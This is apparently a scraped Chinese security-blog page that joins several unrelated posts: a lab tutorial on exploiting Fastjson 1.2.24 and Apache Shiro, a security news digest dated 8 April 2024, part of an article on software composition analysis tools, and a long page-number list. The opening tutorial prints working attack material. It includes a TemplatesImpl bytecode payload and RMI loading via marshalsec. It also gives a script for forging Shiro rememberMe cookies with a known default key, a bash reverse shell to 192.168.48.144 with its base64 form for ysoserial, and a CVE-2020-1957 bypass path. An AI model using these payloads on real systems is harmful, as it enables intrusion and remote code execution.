pc.waitFor(); } catch (Exception e) { } }} javac test.javayakit启动dnslog java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.144:9999/#test%22 6666整体流程1@type 指向com.sun.rowset.JdbcRowSetImpl类该类其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用2远程访问我们启动的rmi服务器,rmi服务器请求加载远程服务器的class,这个class就是我们提前编译上传到服务器的恶意class3.rmi将远程加载得到的class返回给靶机服 fastjson不出网打法利用 fastjson不出网的话我们就没有办法利用这个rmi服务进行远程加载恶意类了本地搭建环境TemplatesImpl打法利用条件苛刻服务端使用parseObject时,必须使用如下格式才能触发漏洞JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField) <dependencies><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency></dependencies> Templateslmplcmd.Java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Templateslmplcmd extends AbstractTranslet {   public Templateslmplcmd() throws Exception {       Runtime.getRuntime().exec("calc");   }   @Override   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {   }   @Override   public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {   } }import java.io.*; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import java.util.Base64; public class test01 {   public static void main(String[] args) throws Exception {       FileInputStream inputFromFile = new FileInputStream("E:\\JAVASEC\\test02\\src\\main\\java\\Templateslmplcmd.class");       byte[] bs = new byte[inputFromFile.available()];       inputFromFile.read(bs);       String encodedBytes = Base64.getEncoder().encodeToString(bs);       //<=1.2.24       String payload = "{\r\n"               + "   \"a\": {\r\n"               + "       \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"               + "       \"_bytecodes\": [\r\n"               + "           \""+encodedBytes+"\"\r\n"               + "       ], \r\n"               + "       \"_name\": \"aaa\", \r\n"               + "       \"_tfactory\": { }, \r\n"               + "       \"_outputProperties\": { }\r\n"               + "   }\r\n"               + "}";       //<1.2.48 //         payload = "{\r\n" //               + "   \"a\": {\r\n" //               + "       \"@type\": \"java.lang.Class\", \r\n" //               + "       \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\r\n" //               + "   }, \r\n" //               + "   \"b\": {\r\n" //               + "       \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n" //               + "       \"_bytecodes\": [\r\n" //               + "           \""+encodedBytes+"\"\r\n" //               + "       ], \r\n" //               + "       \"_name\": \"aaa\", \r\n" //               + "       \"_tfactory\": { }, \r\n" //               + "       \"_outputProperties\": { }\r\n" //               + "   }\r\n" //               + "}";       System.out.println(payload);       JSON.parseObject(payload, Feature.SupportNonPublicField);   } } BCEL不出网打法C3P0二次反序列化打法等等可参考https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md shiro shiro漏洞原理介绍shiro的特征的是rememberMe字段rememberMe字段采用的是AES加密+base64编码采用AES加密我们拿到KEY的话就可以解密,服务端会进行base64解码+AES解密进行反序列化,那么拿到KEY便可以进行修改rememberMe的值进行反序列化攻击 shiro-CVE-2016-4437 CVE-2016-4437,影响版本shiro1.24如果未勾选 Remember me,则只能在返回包里看见勾选可看这里是先用工具爆破密钥手工复现,更容易理解漏洞过程key如下kPH+bIxk5D2deZiIxcaaaA==参考网上公开代码如下:::infoimport uuidimport base64from Crypto.Cipher import AES def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphe if name == 'main': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode())):::反弹shell利用bash -i >& /dev/tcp/192.168.48.144/6668 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC shiro-CVE-2020-1957 漏洞描述使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过Apache Shiro 对 Spring Boot 中的 Servlet的权限控制,越权并实现未授权访问。漏洞影响版本 Apache Shiro < 1.5.1 漏洞复现payload /xxx/..;/admin/ 越权访问后台管理系统 shiro baypasswaf bypasswaf可参考如下文章http://120.79.21.98:8090/archives/shirobypass shiro有key无利用链子打法 面试遇见过的问题,除了问shiro反序列化漏洞原理有时候也会问到这个点其实还是有链子的,链子多的话,通过爆破利用链,完成漏洞利用。环境搭建docker pull medicean/vulapps:s_shiro_1docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
网络安全日报 2024年04月08日
1、攻击者通过推广虚假的人工智能服务传播恶意软件 https://www.bitdefender.com/blog/labs/ai-meets-next-gen-info-stealers-in-social-media-malvertising-campaigns/ 攻击者正在利用Facebook广告和被劫持的页面来推广虚假的人工智能服务,例如MidJourney、OpenAI的 SORA和ChatGPT-5以及DALL-E,用以传播恶意软件,包括Rilide、Vidar、IceRAT和Nova等窃密木马。攻击者利用这些窃密木马从受害者的浏览器中窃取数据,包括存储的凭据、cookie、加密货币钱包信息、自动完成数据和信用卡信息。 2、Ivanti产品中存在远程代码执行漏洞 https://www.bleepingcomputer.com/news/security/new-ivanti-rce-flaw-may-impact-16-000-exposed-vpn-gateways/ CVE-2024-21894,是Ivanti Connect Secure9.x和22.x的IPSec组件中的高危堆溢出漏洞,可能允许未经身份验证的攻击者通过发送特制请求来导致拒绝服务(DoS)或实现远程代码执行。Ivanti表示,目前没有看到客户被该漏洞攻击的迹象,但该公司敦促系统管理员尽快应用更新。 3、Acuity公司确认攻击者从其GitHub中窃取了非敏感数据 https://www.bleepingcomputer.com/news/security/acuity-confirms-hackers-stole-non-sensitive-govt-data-from-github-repos/ 与美国政府机构合作的联邦承包商Acuity证实,攻击者入侵了其GitHub存储库并窃取了包含旧数据和非敏感数据的文档。该公司表示,在发现该攻击事件后,Acuity立即应用了供应商的安全更新,并根据供应商的指导执行了缓解措施。在进行内部分析并经过第三方网络安全专家调查后,Acuity没有看到任何对其客户的敏感数据产生影响的证据。 4、研究人员发现名为Red CryptoApp的新勒索组织 https://www.hackread.com/red-ransomware-group-red-cryptoapp-wall-of-shame 安全研究人员发现了一个名为Red Ransomware Group(Red CryptoApp)的新勒索软件组织。Red CryptoApp勒索组织的开始时间尚不清楚,但据信该组织于2024年2月开始运营。研究人员注意到该组织此前使用的一种勒索信与Maze勒索组织曾使用的存在一些相似之处,这可能是一个巧合,目前尚不清楚Red Ransomware Group是否是Maze勒索组织的衍生组织。 5、研究人员发现恶意软件JSOutProx的新变种 https://www.resecurity.com/blog/article/the-new-version-of-jsoutprox-is-attacking-financial-institutions-in-apac-and-mena-via-gitlab-abuse 研究人员发现 恶意软件JSOutProx的新变种,攻击者针对亚太地区和中东、北非地区的金融服务组织进行攻击。JSOutProx是一个基于JavaScript和.NET的攻击框架。该恶意软件于2019年首次被发现,它使用.NET反序列化功能与受害者计算机上运行的核心JavaScript模块进行交互。一旦执行,恶意软件能够 6、100万+站点使用的WordPress插件LayerSlider存在高危漏洞 https://www.bleepingcomputer.com/news/security/critical-flaw-in-layerslider-wordpress-plugin-impacts-1-million-sites 一个名为LayerSlider的高级WordPress插件被100多万个站点使用,该插件中存在高危漏洞,容易受到未经身份验证的SQL注入,网站管理员需要尽快为该插件应用安全更新。该漏洞被标记为CVE-2024-2879,CVSS评分为9.8,该漏洞会影响插件的7.9.11至7.10.0版本,可能允许攻击者从站点的数据库中提取敏感数据,例如密码哈希,使他们面临完全 7、美国癌症中心City of Hope确认患者数据泄露 https://www.bleepingcomputer.com/news/security/us-cancer-center-data-breach-exposes-info-of-827-000-patients 癌症治疗和研究中心City of Hope警告称,数据泄露事件导致超过820000名患者的敏感信息泄露。本周早些时候,这家医疗机构在其网站上发布了一份数据安全事件通知,告知其在去年9月至10月期间遭受了安全事件。该公司确定未经授权的攻击者访问了系统的一部分并获得了一些文件的副本,涉及的数据包括全名、电子邮件地址、电话号码、出生日期、社会安全号码、驾照、政府签发的身份证件、银行帐 8、思科警告已停产的小型企业路由器存在漏洞 https://www.securityweek.com/cisco-warns-of-vulnerability-in-discontinued-small-business-routers/ 思科表示,不会针对影响小型企业路由器报废的跨站点脚本漏洞发布补丁。 9、超过9万个公开的D-Link NAS设备存在漏洞容易被黑客攻击 https://securityaffairs.com/161549/hacking/d-link-nas-flaw.html 一名研究人员披露了多个报废的 D-Link NAS 型号中存在任意命令注入和硬编码后门问题。 10、Magento 漏洞被利用部署持久后门 https://www.securityweek.com/magento-vulnerability-exploited-to-deploy-persistent-backdoor/ 攻击者正在利用 Magento 最近的漏洞在电子商务网站上部署持久后门。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
甲方安全建设之研发安全-SCA
前言 大多数企业或多或少的会去采购第三方软件,或者研发同学在开发代码时,可能会去使用一些好用的软件包或者依赖包,但是如果这些包中存在恶意代码,又或者在安装包时不小心打错了字母安装了错误的软件包,则可能出现供应链攻击。因此去识别采购或者自研项目中的软件包,来保证其版本足够新、不存在恶意代码是解决供应链的一项重要措施,而SCA(软件成分分析)可以帮助完成这一动作。 OpenSCA-cli 下载地址:https://github.com/XmirrorSecurity/OpenSCA-cli 使用方法:首先使用了Docker的方式,快速扫描本地:docker run -ti --rm -v ${PWD}:/src opensca/opensca-cli笔者选择了一个自身的python项目,没发现风险: 不知道是不是Docker中没漏洞数据库还是Docker中的自带的漏洞数据库太少导致。再次尝试使用Docker连接其SAAS云端的方式进行扫描,发现可能是Docker内应用程序问题,导致TLS验证失败: Get "https://opensca.xmirror.cn/oss-saas/api-v1/open-sca-client/aes-key?clientId=SxxxZVL&ossToken=xx-xx-xx-xx-xx": tls: failed to verify certificate: x509: certificate signed by unknown autho 反正核心都是使用opensca-cli ,因此直接使用Github下载的二进制文件进行了本地扫描: -token xe43dxxf55-xx-xx-xx-xxx -proj "" -path ${待检测目标路径} 云端还是能扫出不少东西的: DependencyTrack 下载地址:https://github.com/DependencyTrack/dependency-track参考官方文档:https://docs.dependencytrack.org/getting-started/deploy-docker/这里使用Docker启动,且先不使用数据库: curl -LO https://dependencytrack.org/docker-compose.yml docker-compose up -d 根据docker-compose.yml内容,frontend前端端口是8080,访问8080,使用admin/admin登录: 这里依然以python项目为例,使用python-sbom生成工具生成sbom:https://github.com/CycloneDX/cyclonedx-python python -m pip install cyclonedx-bom python3 -m cyclonedx_py -h python3 -m cyclonedx_py requirements -o out.json 然后到Projects->Create project->Components->Upload BOM上传生成的BOM即可。 发现一个问题,就以python为例,DependencyTrack解析的是requirements等方式来获取的软件清单,相比于OpenSCA-cli少了很多,比如hostScan项目中的requirements.txt文件里面的包就是17个,DependencyTrack识别到的就是17个: 而OpenSCA-cli会发现一些依赖的包:
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页